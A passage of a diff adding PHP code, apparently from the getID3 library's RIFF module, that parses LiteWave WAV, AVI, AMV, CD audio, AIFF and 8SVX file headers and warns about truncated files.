+								'm_dwScale'          => 4,
+								'm_dwBlockSize'      => 4,
+								'm_wQuality'         => 2,
+								'm_wMarkDistance'    => 2,
+								'm_wReserved'        => 2,
+								'm_dwOrgSize'        => 4,
+								'm_bFactExists'      => 2,
+								'm_dwRiffChunkSize'  => 4,
+							);
+							$litewave_offset = 18;
+							foreach ($flags as $flag => $length) {
+								$riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length));
+								$litewave_offset += $length;
+							}
+
+							//$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20));
+							$riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality'];
+
+							$riff_litewave['flags']['raw_source']    = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true;
+							$riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true;
+							$riff_litewave['flags']['seekpoints']    =        (bool) ($riff_litewave_raw['compression_flags'] & 0x04);
+
+							$thisfile_audio['lossless']        = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false);
+							$thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor'];
+							break;
+
+						default:
+							break;
+					}
+				}
+				if ($info['avdataend'] > $info['filesize']) {
+					switch (!empty($thisfile_audio_dataformat) ? $thisfile_audio_dataformat : '') {
+						case 'wavpack': // WavPack
+						case 'lpac':    // LPAC
+						case 'ofr':     // OptimFROG
+						case 'ofs':     // OptimFROG DualStream
+							// lossless compressed audio formats that keep original RIFF headers - skip warning
+							break;
+
+						case 'litewave':
+							if (($info['avdataend'] - $info['filesize']) == 1) {
+								// LiteWave appears to incorrectly *not* pad actual output file
+								// to nearest WORD boundary so may appear to be short by one
+								// byte, in which case - skip warning
+							} else {
+								// Short by more than one byte, throw warning
+								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
+								$info['avdataend'] = $info['filesize'];
+							}
+							break;
+
+						default:
+							if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) {
+								// output file appears to be incorrectly *not* padded to nearest WORD boundary
+								// Output less severe warning
+								$this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
+								$info['avdataend'] = $info['filesize'];
+							} else {
+								// Short by more than one byte, throw warning
+								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
+								$info['avdataend'] = $info['filesize'];
+							}
+							break;
+					}
+				}
+				if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) {
+					if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) {
+						$info['avdataend']--;
+						$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
+					}
+				}
+				if (isset($thisfile_audio_dataformat) && ($thisfile_audio_dataformat == 'ac3')) {
+					unset($thisfile_audio['bits_per_sample']);
+					if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) {
+						$thisfile_audio['bitrate'] = $info['ac3']['bitrate'];
+					}
+				}
+				break;
+
+			// http://en.wikipedia.org/wiki/Audio_Video_Interleave
+			case 'AVI ':
+				$info['fileformat'] = 'avi';
+				$info['mime_type']  = 'video/avi';
+
+				$thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably
+				$thisfile_video['dataformat']   = 'avi';
+
+				if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) {
+					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8;
+					if (isset($thisfile_riff['AVIX'])) {
+						$info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size'];
+					} else {
+						$info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size'];
+					}
+					if ($info['avdataend'] > $info['filesize']) {
+						$this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)');
+						$info['avdataend'] = $info['filesize'];
+					}
+				}
+
+				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) {
+					//$bIndexType = array(
+					//	0x00 => 'AVI_INDEX_OF_INDEXES',
+					//	0x01 => 'AVI_INDEX_OF_CHUNKS',
+					//	0x80 => 'AVI_INDEX_IS_DATA',
+					//);
+					//$bIndexSubtype = array(
+					//	0x01 => array(
+					//		0x01 => 'AVI_INDEX_2FIELD',
+					//	),
+					//);
+					foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) {
+						$ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data'];
+
+						$thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd,  0, 2));
+						$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']  = $this->EitherEndian2Int(substr($ahsisd,  2, 1));
+						$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']     = $this->EitherEndian2Int(substr($ahsisd,  3, 1));
+						$thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse']  = $this->EitherEndian2Int(substr($ahsisd,  4, 4));
+						$thisfile_riff_raw['indx'][$streamnumber]['dwChunkId']      =                         substr($ahsisd,  8, 4);
+						$thisfile_riff_raw['indx'][$streamnumber]['dwReserved']     = $this->EitherEndian2Int(substr($ahsisd, 12, 4));
+
+						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name']    =    $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']];
+						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']];
+
+						unset($ahsisd);
+					}
+				}
+				if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) {
+					$avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'];
+
+					// shortcut
+					$thisfile_riff_raw['avih'] = array();
+					$thisfile_riff_raw_avih = &$thisfile_riff_raw['avih'];
+
+					$thisfile_riff_raw_avih['dwMicroSecPerFrame']    = $this->EitherEndian2Int(substr($avihData,  0, 4)); // frame display rate (or 0L)
+					if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) {
+						$this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero');
+						return false;
+					}
+
+					$flags = array(
+						'dwMaxBytesPerSec',       // max. transfer rate
+						'dwPaddingGranularity',   // pad to multiples of this size; normally 2K.
+						'dwFlags',                // the ever-present flags
+						'dwTotalFrames',          // # frames in file
+						'dwInitialFrames',        //
+						'dwStreams',              //
+						'dwSuggestedBufferSize',  //
+						'dwWidth',                //
+						'dwHeight',               //
+						'dwScale',                //
+						'dwRate',                 //
+						'dwStart',                //
+						'dwLength',               //
+					);
+					$avih_offset = 4;
+					foreach ($flags as $flag) {
+						$thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4));
+						$avih_offset += 4;
+					}
+
+					$flags = array(
+						'hasindex'     => 0x00000010,
+						'mustuseindex' => 0x00000020,
+						'interleaved'  => 0x00000100,
+						'trustcktype'  => 0x00000800,
+						'capturedfile' => 0x00010000,
+						'copyrighted'  => 0x00020010,
+					);
+                    foreach ($flags as $flag => $value) {
+						$thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value);
+					}
+
+					// shortcut
+					$thisfile_riff_video[$streamindex] = array();
+					$thisfile_riff_video_current = &$thisfile_riff_video[$streamindex];
+
+					if ($thisfile_riff_raw_avih['dwWidth'] > 0) {
+						$thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth'];
+						$thisfile_video['resolution_x']             = $thisfile_riff_video_current['frame_width'];
+					}
+					if ($thisfile_riff_raw_avih['dwHeight'] > 0) {
+						$thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight'];
+						$thisfile_video['resolution_y']              = $thisfile_riff_video_current['frame_height'];
+					}
+					if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) {
+						$thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames'];
+						$thisfile_video['total_frames']              = $thisfile_riff_video_current['total_frames'];
+					}
+
+					$thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3);
+					$thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate'];
+				}
+				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) {
+					if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) {
+						for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) {
+							if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) {
+								$strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'];
+								$strhfccType = substr($strhData,  0, 4);
+
+								if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) {
+									$strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'];
+
+									// shortcut
+									$thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex];
+
+									switch ($strhfccType) {
+										case 'auds':
+											$thisfile_audio['bitrate_mode'] = 'cbr';
+											$thisfile_audio_dataformat      = 'wav';
+											if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) {
+												$streamindex = count($thisfile_riff_audio);
+											}
+
+											$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData);
+											$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];
+
+											// shortcut
+											$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];
+											$thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex];
+
+											if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) {
+												unset($thisfile_audio_streams_currentstream['bits_per_sample']);
+											}
+											$thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag'];
+											unset($thisfile_audio_streams_currentstream['raw']);
+
+											// shortcut
+											$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw'];
+
+											unset($thisfile_riff_audio[$streamindex]['raw']);
+											$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);
+
+											$thisfile_audio['lossless'] = false;
+											switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) {
+												case 0x0001:  // PCM
+													$thisfile_audio_dataformat  = 'wav';
+													$thisfile_audio['lossless'] = true;
+													break;
+
+												case 0x0050: // MPEG Layer 2 or Layer 1
+													$thisfile_audio_dataformat = 'mp2'; // Assume Layer-2
+													break;
+
+												case 0x0055: // MPEG Layer 3
+													$thisfile_audio_dataformat = 'mp3';
+													break;
+
+												case 0x00FF: // AAC
+													$thisfile_audio_dataformat = 'aac';
+													break;
+
+												case 0x0161: // Windows Media v7 / v8 / v9
+												case 0x0162: // Windows Media Professional v9
+												case 0x0163: // Windows Media Lossess v9
+													$thisfile_audio_dataformat = 'wma';
+													break;
+
+												case 0x2000: // AC-3
+													$thisfile_audio_dataformat = 'ac3';
+													break;
+
+												case 0x2001: // DTS
+													$thisfile_audio_dataformat = 'dts';
+													break;
+
+												default:
+													$thisfile_audio_dataformat = 'wav';
+													break;
+											}
+											$thisfile_audio_streams_currentstream['dataformat']   = $thisfile_audio_dataformat;
+											$thisfile_audio_streams_currentstream['lossless']     = $thisfile_audio['lossless'];
+											$thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
+											break;
+
+
+										case 'iavs':
+										case 'vids':
+											// shortcut
+											$thisfile_riff_raw['strh'][$i]                  = array();
+											$thisfile_riff_raw_strh_current                 = &$thisfile_riff_raw['strh'][$i];
+
+											$thisfile_riff_raw_strh_current['fccType']               =                         substr($strhData,  0, 4);  // same as $strhfccType;
+											$thisfile_riff_raw_strh_current['fccHandler']            =                         substr($strhData,  4, 4);
+											$thisfile_riff_raw_strh_current['dwFlags']               = $this->EitherEndian2Int(substr($strhData,  8, 4)); // Contains AVITF_* flags
+											$thisfile_riff_raw_strh_current['wPriority']             = $this->EitherEndian2Int(substr($strhData, 12, 2));
+											$thisfile_riff_raw_strh_current['wLanguage']             = $this->EitherEndian2Int(substr($strhData, 14, 2));
+											$thisfile_riff_raw_strh_current['dwInitialFrames']       = $this->EitherEndian2Int(substr($strhData, 16, 4));
+											$thisfile_riff_raw_strh_current['dwScale']               = $this->EitherEndian2Int(substr($strhData, 20, 4));
+											$thisfile_riff_raw_strh_current['dwRate']                = $this->EitherEndian2Int(substr($strhData, 24, 4));
+											$thisfile_riff_raw_strh_current['dwStart']               = $this->EitherEndian2Int(substr($strhData, 28, 4));
+											$thisfile_riff_raw_strh_current['dwLength']              = $this->EitherEndian2Int(substr($strhData, 32, 4));
+											$thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4));
+											$thisfile_riff_raw_strh_current['dwQuality']             = $this->EitherEndian2Int(substr($strhData, 40, 4));
+											$thisfile_riff_raw_strh_current['dwSampleSize']          = $this->EitherEndian2Int(substr($strhData, 44, 4));
+											$thisfile_riff_raw_strh_current['rcFrame']               = $this->EitherEndian2Int(substr($strhData, 48, 4));
+
+											$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']);
+											$thisfile_video['fourcc']             = $thisfile_riff_raw_strh_current['fccHandler'];
+											if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {
+												$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']);
+												$thisfile_video['fourcc']             = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
+											}
+											$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
+											$thisfile_video['pixel_aspect_ratio'] = (float) 1;
+											switch ($thisfile_riff_raw_strh_current['fccHandler']) {
+												case 'HFYU': // Huffman Lossless Codec
+												case 'IRAW': // Intel YUV Uncompressed
+												case 'YUY2': // Uncompressed YUV 4:2:2
+													$thisfile_video['lossless'] = true;
+													break;
+
+												default:
+													$thisfile_video['lossless'] = false;
+													break;
+											}
+
+											switch ($strhfccType) {
+												case 'vids':
+													$thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff'));
+													$thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount'];
+
+													if ($thisfile_riff_video_current['codec'] == 'DV') {
+														$thisfile_riff_video_current['dv_type'] = 2;
+													}
+													break;
+
+												case 'iavs':
+													$thisfile_riff_video_current['dv_type'] = 1;
+													break;
+											}
+											break;
+
+										default:
+											$this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"');
+											break;
+
+									}
+								}
+							}
+
+							if (isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {
+
+								$thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
+								if (self::fourccLookup($thisfile_video['fourcc'])) {
+									$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']);
+									$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
+								}
+
+								switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) {
+									case 'HFYU': // Huffman Lossless Codec
+									case 'IRAW': // Intel YUV Uncompressed
+									case 'YUY2': // Uncompressed YUV 4:2:2
+										$thisfile_video['lossless']        = true;
+										//$thisfile_video['bits_per_sample'] = 24;
+										break;
+
+									default:
+										$thisfile_video['lossless']        = false;
+										//$thisfile_video['bits_per_sample'] = 24;
+										break;
+								}
+
+							}
+						}
+					}
+				}
+				break;
+
+
+			case 'AMV ':
+				$info['fileformat'] = 'amv';
+				$info['mime_type']  = 'video/amv';
+
+				$thisfile_video['bitrate_mode']    = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR
+				$thisfile_video['dataformat']      = 'mjpeg';
+				$thisfile_video['codec']           = 'mjpeg';
+				$thisfile_video['lossless']        = false;
+				$thisfile_video['bits_per_sample'] = 24;
+
+				$thisfile_audio['dataformat']   = 'adpcm';
+				$thisfile_audio['lossless']     = false;
+				break;
+
+
+			// http://en.wikipedia.org/wiki/CD-DA
+			case 'CDDA':
+				$info['fileformat'] = 'cda';
+			    unset($info['mime_type']);
+
+				$thisfile_audio_dataformat      = 'cda';
+
+				$info['avdataoffset'] = 44;
+
+				if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) {
+					// shortcut
+					$thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0];
+
+					$thisfile_riff_CDDA_fmt_0['unknown1']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  0, 2));
+					$thisfile_riff_CDDA_fmt_0['track_num']          = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  2, 2));
+					$thisfile_riff_CDDA_fmt_0['disc_id']            = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  4, 4));
+					$thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  8, 4));
+					$thisfile_riff_CDDA_fmt_0['playtime_frames']    = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4));
+					$thisfile_riff_CDDA_fmt_0['unknown6']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4));
+					$thisfile_riff_CDDA_fmt_0['unknown7']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4));
+
+					$thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75;
+					$thisfile_riff_CDDA_fmt_0['playtime_seconds']     = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75;
+					$info['comments']['track']                = $thisfile_riff_CDDA_fmt_0['track_num'];
+					$info['playtime_seconds']                 = $thisfile_riff_CDDA_fmt_0['playtime_seconds'];
+
+					// hardcoded data for CD-audio
+					$thisfile_audio['lossless']        = true;
+					$thisfile_audio['sample_rate']     = 44100;
+					$thisfile_audio['channels']        = 2;
+					$thisfile_audio['bits_per_sample'] = 16;
+					$thisfile_audio['bitrate']         = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample'];
+					$thisfile_audio['bitrate_mode']    = 'cbr';
+				}
+				break;
+
+            // http://en.wikipedia.org/wiki/AIFF
+			case 'AIFF':
+			case 'AIFC':
+				$info['fileformat'] = 'aiff';
+				$info['mime_type']  = 'audio/x-aiff';
+
+				$thisfile_audio['bitrate_mode'] = 'cbr';
+				$thisfile_audio_dataformat      = 'aiff';
+				$thisfile_audio['lossless']     = true;
+
+				if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) {
+					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8;
+					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size'];
+					if ($info['avdataend'] > $info['filesize']) {
+						if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) {
+							// structures rounded to 2-byte boundary, but dumb encoders
+							// forget to pad end of file to make this actually work
+						} else {
+							$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
+						}
+						$info['avdataend'] = $info['filesize'];
+					}
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) {
+
+					// shortcut
+					$thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data'];
+
+					$thisfile_riff_audio['channels']         =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  0,  2), true);
+					$thisfile_riff_audio['total_samples']    =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  2,  4), false);
+					$thisfile_riff_audio['bits_per_sample']  =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  6,  2), true);
+					$thisfile_riff_audio['sample_rate']      = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  8, 10));
+
+					if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) {
+						$thisfile_riff_audio['codec_fourcc'] =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18,  4);
+						$CodecNameSize                       =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22,  1), false);
+						$thisfile_riff_audio['codec_name']   =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23,  $CodecNameSize);
+						switch ($thisfile_riff_audio['codec_name']) {
+							case 'NONE':
+								$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
+								$thisfile_audio['lossless'] = true;
+								break;
+
+							case '':
+								switch ($thisfile_riff_audio['codec_fourcc']) {
+									// http://developer.apple.com/qa/snd/snd07.html
+									case 'sowt':
+										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM';
+										$thisfile_audio['lossless'] = true;
+										break;
+
+									case 'twos':
+										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM';
+										$thisfile_audio['lossless'] = true;
+										break;
+
+									default:
+										break;
+								}
+								break;
+
+							default:
+								$thisfile_audio['codec']    = $thisfile_riff_audio['codec_name'];
+								$thisfile_audio['lossless'] = false;
+								break;
+						}
+					}
+
+					$thisfile_audio['channels']        = $thisfile_riff_audio['channels'];
+					if ($thisfile_riff_audio['bits_per_sample'] > 0) {
+						$thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample'];
+					}
+					$thisfile_audio['sample_rate']     = $thisfile_riff_audio['sample_rate'];
+					if ($thisfile_audio['sample_rate'] == 0) {
+						$this->error('Corrupted AIFF file: sample_rate == zero');
+						return false;
+					}
+					$info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate'];
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) {
+					$offset = 0;
+					$CommentCount                                   = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
+					$offset += 2;
+					for ($i = 0; $i < $CommentCount; $i++) {
+						$info['comments_raw'][$i]['timestamp']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false);
+						$offset += 4;
+						$info['comments_raw'][$i]['marker_id']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true);
+						$offset += 2;
+						$CommentLength                              = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
+						$offset += 2;
+						$info['comments_raw'][$i]['comment']        =                           substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength);
+						$offset += $CommentLength;
+
+						$info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']);
+						$thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment'];
+					}
+				}
+
+				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
+				foreach ($CommentsChunkNames as $key => $value) {
+					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
+						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
+					}
+				}
+/*
+				if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) {
+					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
+					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8;
+					if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
+						$info['id3v2'] = $getid3_temp->info['id3v2'];
+					}
+					unset($getid3_temp, $getid3_id3v2);
+				}
+*/
+				break;
+
+			// http://en.wikipedia.org/wiki/8SVX
+			case '8SVX':
+				$info['fileformat'] = '8svx';
+				$info['mime_type']  = 'audio/8svx';
+
+				$thisfile_audio['bitrate_mode']    = 'cbr';
+				$thisfile_audio_dataformat         = '8svx';
+				$thisfile_audio['bits_per_sample'] = 8;
+				$thisfile_audio['channels']        = 1; // overridden below, if need be
+
+				if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) {
+					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8;
+					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size'];
+					if ($info['avdataend'] > $info['filesize']) {
+						$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
+					}
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) {
+					// shortcut
+					$thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0];
+
+					$thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples']  =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  0, 4));
+					$thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples']   =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  4, 4));
+					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  8, 4));
+					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']     =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2));
+					$thisfile_riff_RIFFsubtype_VHDR_0['ctOctave']          =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1));
+					$thisfile_riff_RIFFsubtype_VHDR_0['sCompression']      =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1));
+					$thisfile_riff_RIFFsubtype_VHDR_0['Volume']            = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4));
+
+					$thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'];
+
+					switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) {
+						case 0:
+							$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
+							$thisfile_audio['lossless'] = true;
+							$ActualBitsPerSample        = 8;
+							break;
+
+						case 1:
+							$thisfile_audio['codec']    = 'Fibonacci-delta encoding';
+							$thisfile_audio['lossless'] = false;
+							$ActualBitsPerSample        = 4;
+							break;
+
+						default:
+							$this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.sCompression.'"');
+							break;
+					}
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) {
+					$ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4));
+					switch ($ChannelsIndex) {
+						case 6: // Stereo
+							$thisfile_audio['channels'] = 2;
+							break;
+
+						case 2: // Left channel only
+						case 4: // Right channel only
+							$thisfile_audio['channels'] = 1;
+							break;
+
+						default:
